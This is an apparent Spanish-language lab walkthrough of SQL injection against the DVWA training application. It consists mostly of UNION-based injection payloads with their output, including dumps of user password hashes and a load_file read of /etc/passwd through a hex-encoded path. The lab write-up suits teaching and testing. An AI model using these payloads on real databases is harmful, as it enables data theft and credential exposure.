SQL injection DVWA

Level low

Empezamos probando:
1
ID: 1
First name: admin
Surname: admin
1'
probamos con el caracter ' y vemos que nos arroja un error, posiblemente vulnerable, ahora vemos que caracter hace de cierre o bien de comentarios:
1' //
error
1' /*
error
1' --
error
1' --+
error
1' #
OK-la conseguimos
ahora vemos las columnos que se solicitan en la consulta
1' order by 2#
OK
1' order by 3#
error, luego las columnos son 2
ahora vemos alguna información de la base de datos
1' union select null,database()#
dvwa
1' union select null,@@version#
Surname: 5.0.51a-3ubuntu5
1' union select null,user()#
root@localhost
1' union select null,current_user()#
root@%
1' union select null,@@datadir#
/var/lib/mysql/
1' union select null,connection_id()#
45
1' union select null,last_insert_id()#
0
ahora buscamos infomación de las tablas
1' union select null,table_name from information_schema.tables#
Nos sale un listado enorme de tablas, para lo que en la proxima descartamos mysql e information_schema
1' union select null,table_name from information_schema.tables where table_schema!='mysql' and table_schema!='information_schema'#
Nos sale un listado de tablas y vemos que tabla no es interesante, por ejemplo "users", y vamos a ver sus columnas
1' union select null,column_name from information_schema.columns where table_name='users'#
Surname: user_id
Surname: first_name
Surname: last_name
Surname: user
Surname: password
Surname: avatar
Surname: last_login
Surname: failed_login
otra forma de conseguir lo mismo,dandole algo de formato salida...
1' union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'#
Y ahora a sacar lo interesante:
1' union select null,concat(user,0x0a,password)from users#
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99
Surname: gordonb
e99a18c428cb38d5f260853678922e03
Surname: 1337
8d3533d75ae2c3966d7e0d4fcc69216b
Surname: pablo
0d107d09f5bbe40cade3de5c71e9e9b7
Surname: smithy
5f4dcc3b5aa765d61d8327deb882cf99
O también obtemos el mismo resultado con
1' union select null,concat_ws(0x0a,user,password)from users#
Con esto podemos ya extraer los datos de cualquier tabla en la base de datos que nos parezca interesante :), pero también podemos intentar lo siguiente
1' union all select 1,load_file(0x2f6574632f706173737764)#

IMPORTANTE: Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.

level medium

Buscamos la formula, probando 1'
sigue dando el error de mysql
1 order by 2#
Acertamos, y partir de aqui, todo igual que antes pero sin la comilla hasta llegar a:
1 union select null,concat_ws(0x0a,user,password)from users#
y este es el final, pues el nivel high no tengo ni idea...